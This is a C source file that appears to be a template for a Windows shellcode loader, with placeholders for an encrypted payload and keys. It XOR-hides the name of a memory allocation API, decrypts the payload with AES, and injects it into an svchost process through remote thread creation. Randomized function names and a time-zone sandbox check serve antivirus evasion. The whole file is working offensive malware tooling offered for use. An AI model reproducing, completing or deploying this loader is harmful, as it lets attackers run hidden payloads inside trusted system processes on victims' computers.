template.cpp 4.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <tlhelp32.h>
  6. #include <wincrypt.h>
  7. #pragma comment (lib, "crypt32.lib")
  8. #pragma comment (lib, "advapi32")
  9. #include <psapi.h>
  10. LPVOID (WINAPI * Virt_Alloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
  11. char XOR_VARIABLE []= "XOR_KEY";
  12. unsigned char fRandom6 []= VIRALO};
  13. int aRandom1(char * eRandom5, unsigned int eRandom5_len, char * key, size_t keylen) {
  14. HCRYPTPROV hProv;
  15. HCRYPTHASH hHash;
  16. HCRYPTKEY hKey;
  17. if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
  18. return -1;
  19. }
  20. if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
  21. return -1;
  22. }
  23. if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
  24. return -1;
  25. }
  26. if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
  27. return -1;
  28. }
  29. if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, eRandom5, &eRandom5_len)){
  30. return -1;
  31. }
  32. CryptReleaseContext(hProv, 0);
  33. CryptDestroyHash(hHash);
  34. CryptDestroyKey(hKey);
  35. return 0;
  36. }
  37. int bRandom2(const char *procname) {
  38. HANDLE hProcSnap;
  39. PROCESSENTRY32 pe32;
  40. int pid = 0;
  41. hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  42. if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
  43. pe32.dwSize = sizeof(PROCESSENTRY32);
  44. if (!Process32First(hProcSnap, &pe32)) {
  45. CloseHandle(hProcSnap);
  46. return 0;
  47. }
  48. while (Process32Next(hProcSnap, &pe32)) {
  49. if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
  50. pid = pe32.th32ProcessID;
  51. break;
  52. }
  53. }
  54. CloseHandle(hProcSnap);
  55. return pid;
  56. }
  57. int cRandom3(HANDLE hProc, unsigned char * eRandom5, unsigned int eRandom5_len) {
  58. LPVOID pRemoteCode = NULL;
  59. HANDLE hThread = NULL;
  60. pRemoteCode = VirtualAllocEx(hProc, NULL, eRandom5_len, MEM_COMMIT, PAGE_EXECUTE_READ);
  61. WriteProcessMemory(hProc, pRemoteCode, (PVOID)eRandom5, (SIZE_T)eRandom5_len, (SIZE_T *)NULL);
  62. hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
  63. if (hThread != NULL) {
  64. WaitForSingleObject(hThread, 500);
  65. CloseHandle(hThread);
  66. return 0;
  67. }
  68. return -1;
  69. }
  70. void gRandom7(char * tada, int tada_len, char * XOR_VARIABLE, size_t XOR_VARIABLE_len) {
  71. int r;
  72. r = 0;
  73. for (int i = 0; i < tada_len; i++) {
  74. if (r == XOR_VARIABLE_len - 1) r = 0;
  75. tada[i] = tada[i] ^ XOR_VARIABLE[r];
  76. r++;
  77. }
  78. }
  79. int timez(int argc, char** argv[]) {
  80. TIME_ZONE_INFORMATION timeZone;
  81. DWORD ret = GetTimeZoneInformation(&timeZone);
  82. if (ret == TIME_ZONE_ID_INVALID) {
  83. exit(-1);
  84. } else {
  85. if (!wcscmp(L"Coordinated Universal Time", timeZone.DaylightName) || !wcscmp(L"Coordinated Universal Time", timeZone.StandardName)) {
  86. } else {
  87. }
  88. }
  89. return 0;
  90. }
  91. int main(void) {
  92. void * Random8_mem;
  93. BOOL rv;
  94. HANDLE th;
  95. DWORD oldprotect = 0;
  96. int pid = 0;
  97. HANDLE hProc = NULL;
  98. char dRandom4 []=KEYVALUE
  99. unsigned char eRandom5[] =PAYVAL
  100. unsigned int eRandom5_len = sizeof(eRandom5);
  101. int timez(int, char***);
  102. FreeConsole;
  103. gRandom7((char *) fRandom6, sizeof (fRandom6), XOR_VARIABLE, sizeof(XOR_VARIABLE));
  104. Virt_Alloc= GetProcAddress(GetModuleHandle("kernel32.dll"), fRandom6);
  105. Random8_mem = Virt_Alloc(0, eRandom5_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  106. aRandom1((char *) eRandom5, eRandom5_len, dRandom4, sizeof(dRandom4));
  107. RtlMoveMemory(Random8_mem, eRandom5, eRandom5_len);
  108. rv = VirtualProtect(Random8_mem, eRandom5_len, PAGE_EXECUTE_READ, &oldprotect);
  109. pid = bRandom2("SVCHOST");
  110. if (pid) {
  111. hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
  112. PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
  113. FALSE, (DWORD) pid);
  114. if (hProc != NULL) {
  115. cRandom3(hProc, eRandom5, eRandom5_len);
  116. CloseHandle(hProc);
  117. }
  118. }
  119. return 0;
  120. }